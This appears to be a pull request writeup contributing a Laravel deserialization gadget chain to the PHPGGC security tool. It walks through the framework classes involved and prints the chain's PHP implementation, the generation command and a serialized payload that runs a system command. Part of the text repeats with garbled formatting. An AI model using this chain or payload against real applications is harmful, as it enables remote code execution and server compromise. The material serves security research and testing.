When we search for gadgets chain, we audit the code of all objects in the framework and, more specifically, the code of the following magic methods:
__wakeup()
__destruct()
__toString()
__call()
__get()
The purpose of this pull request is to help noephites like me by clarifying the possibility of using the magic method _destruct() as a proxy to reach other magic methods, such as __toString(), __call() or __get().
The chain I've identified uses the following objects:
Illuminate\Routing\PendingResourceRegistration (serves as a proxy to reach Illuminate\Validation\Rules\RequiredIf::__toString())
Illuminate\Routing\ResourceRegistrar (used to trigger Illuminate\Routing\ResourceRegistrar::register())
Illuminate\Validation\Rules\RequiredIf (serves as a proxy to reach call_user_func() whose first argument is controlled)
Illuminate\Auth\RequestGuard (final call to call_user_func() whose all arguments are controlled)
When an object is destroyed, its magic method __destruct() is called by default.
<?php
namespace Illuminate\Routing;
use Illuminate\Support\Traits\Macroable;
class PendingResourceRegistration
{
use Macroable;
...
/**
* Register the resource route.
*
* @return \Illuminate\Routing\RouteCollection
*/
public function register()
{
$this->registered = true;
return $this->registrar->register(
$this->name, $this->controller, $this->options
);
}
/**
* Handle the object's destruction.
*
* @return void
*/
public function __destruct()
{
if (! $this->registered) {
$this->register();
}
}
We can see that $this->registrar must at least be defined and be an object of class ResourceRegistrar in order to call its function register(). Moreover, it is clear that we control all the parameters of the function register() ($this->name, $this->controller, $this->options).
<?php
namespace Illuminate\Validation\Rules;
class RequiredIf
{
...
/**
* Convert the rule to a validation string.
*
* @return string
*/
public function __toString()
{
if (is_callable($this->condition)) {
return call_user_func($this->condition) ? 'required' : '';
}
return $this->condition ? 'required' : '';
}
}
When we look at the function call_user_func(), we realize that we can pass it an array as first parameter (as shown in the example below from the PHP official documentation).
call_user_func
call_user_func — Call the callback given by the first parameter
Description call_user_func(callable $callback, mixed ...$args): mixed
...
<?php
namespace Illuminate\Auth;
use Illuminate\Http\Request;
use Illuminate\Contracts\Auth\Guard;
use Illuminate\Support\Traits\Macroable;
use Illuminate\Contracts\Auth\UserProvider;
class RequestGuard implements Guard
{
use GuardHelpers, Macroable;
...
/**
* Get the currently authenticated user.
*
* @return \Illuminate\Contracts\Auth\Authenticatable|null
*/
public function user()
{
// If we've already retrieved the user for the current request we can just
// return it back immediately. We do not want to fetch the user data on
// every call to this method because that would be tremendously slow.
if (! is_null($this->user)) {
return $this->user;
}
return $this->user = call_user_func(
$this->callback, $this->request, $this->getProvider()
);
}
...
}
We can take a look at the function Illuminate\Auth\GuardHelpers::getProvider() to ensure that we control all the parameters of this last call to call_user_func().
<?php
namespace Illuminate\Auth;
use Illuminate\Contracts\Auth\UserProvider;
use Illuminate\Contracts\Auth\Authenticatable as AuthenticatableContract;
/**
* These methods are typically the same across all guards.
*/
trait GuardHelpers
{
...
/**
* Get the user provider used by the guard.
*
* @return \Illuminate\Contracts\Auth\UserProvider
*/
public function getProvider()
{
return $this->provider;
}
...
}
All we have to do now is to implement it within PHPGGC:
<?php
namespace Illuminate\Auth
{
class RequestGuard
{
protected $callback;
protected $request;
protected $provider;
public function __construct($callback, $request)
{
$this->callback = $callback;
$this->request = $request;
$this->provider = 1;
}
}
}
namespace Illuminate\Validation\Rules
{
class RequiredIf
{
public $condition;
public function __construct($func, $arg)
{
$this->condition = [new \Illuminate\Auth\RequestGuard($func, $arg), "user"];
}
}
}
namespace Illuminate\Routing
{
class ResourceRegistrar
{
protected $router;
public function __construct()
{
$this->router = null;
}
}
class PendingResourceRegistration
{
protected $registrar;
protected $name;
protected $registered = false;
public function __construct($func, $arg)
{
$this->registrar = new \Illuminate\Routing\ResourceRegistrar();
$this->name = new \Illuminate\Validation\Rules\RequiredIf($func, $arg);
}
}
}
Now we can generate our new gadgets chain with PHPGGC:
./phpggc Laravel/RCE19 system id
O:46:"Illuminate\Routing\PendingResourceRegistration":3:{s:12:"*registrar";O:36:"Illuminate\Routing\ResourceRegistrar":1:{s:9:"*router";N;}s:7:"*name";O:38:"Illuminate\Validation\Rules\RequiredIf":1:{s:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{s:11:"*callback";s:6:"system";s:10:"*request";s:2:"id";s:11:"*provider";i:1;}i:1;s:4:"user";}}s:13:"*registered";b:0;}
In the end, we just look at the Laravel code for different versions to determine which version of Laravel is exploitable with this gadgets chain.
I would like to add my Laravel gadgets chain to PHPGGC.
Why?
When we search for gadgets chain, we audit the code of all objects in the framework and, more specifically, the code of the following magic methods:
__wakeup()
__destruct()
__toString()
__call()
__get()
The purpose of this pull request is to help noephites like me by clarifying the possibility of using the magic method
_destruct()
as a proxy to reach other magic methods, such as__toString()
,__call()
or__get()
.The chain I've identified uses the following objects:
Illuminate\Routing\PendingResourceRegistration
(serves as a proxy to reachIlluminate\Validation\Rules\RequiredIf::__toString()
)Illuminate\Routing\ResourceRegistrar
(used to triggerIlluminate\Routing\ResourceRegistrar::register()
)Illuminate\Validation\Rules\RequiredIf
(serves as a proxy to reachcall_user_func()
whose first argument is controlled)Illuminate\Auth\RequestGuard
(final call tocall_user_func()
whose all arguments are controlled)When an object is destroyed, its magic method
__destruct()
is called by default.File: src/Illuminate/Routing/PendingResourceRegistration.php
Class:
PendingResourceRegistration
Functions:
__destruct()
,register()
We can see that
$this->registrar
must at least be defined and be an object of classResourceRegistrar
in order to call its functionregister()
. Moreover, it is clear that we control all the parameters of the functionregister()
($this->name
,$this->controller
,$this->options
).File: src/Illuminate/Routing/ResourceRegistrar.php
Class:
ResourceRegistrar
Function:
register()
Function call
Str::contains()
triggers function__toString()
from$name
which we defined as anIlluminate\Validation\Rules\RequiredIf
object.File: src/Illuminate/Validation/Rules/RequiredIf.php
Class:
PendingResourceRegistration
Function:
__toString()
When we look at the function
call_user_func()
, we realize that we can pass it an array as first parameter (as shown in the example below from the PHP official documentation).File: Example #4 Using a class method with call_user_func()
So we need an object which, when we call one of its methods without parameters, allows us to obtain code execution.
File: src/Illuminate/Auth/RequestGuard.php
Class:
RequestGuard
Function:
user()
We can take a look at the function
Illuminate\Auth\GuardHelpers::getProvider()
to ensure that we control all the parameters of this last call tocall_user_func()
.File: src/Illuminate/Auth/GuardHelpers.php
Class:
GuardHelpers
Function:
getProvider()
All we have to do now is to implement it within PHPGGC:
Now we can generate our new gadgets chain with PHPGGC:
In the end, we just look at the Laravel code for different versions to determine which version of Laravel is exploitable with this gadgets chain.
Illuminate\Auth\RequestGuard::user()
Illuminate\Validation\Rules\RequiredIf::__toString()
Illuminate\Routing\ResourceRegistrar::register()
Illuminate\Routing\PendingResourceRegistration::__destruct()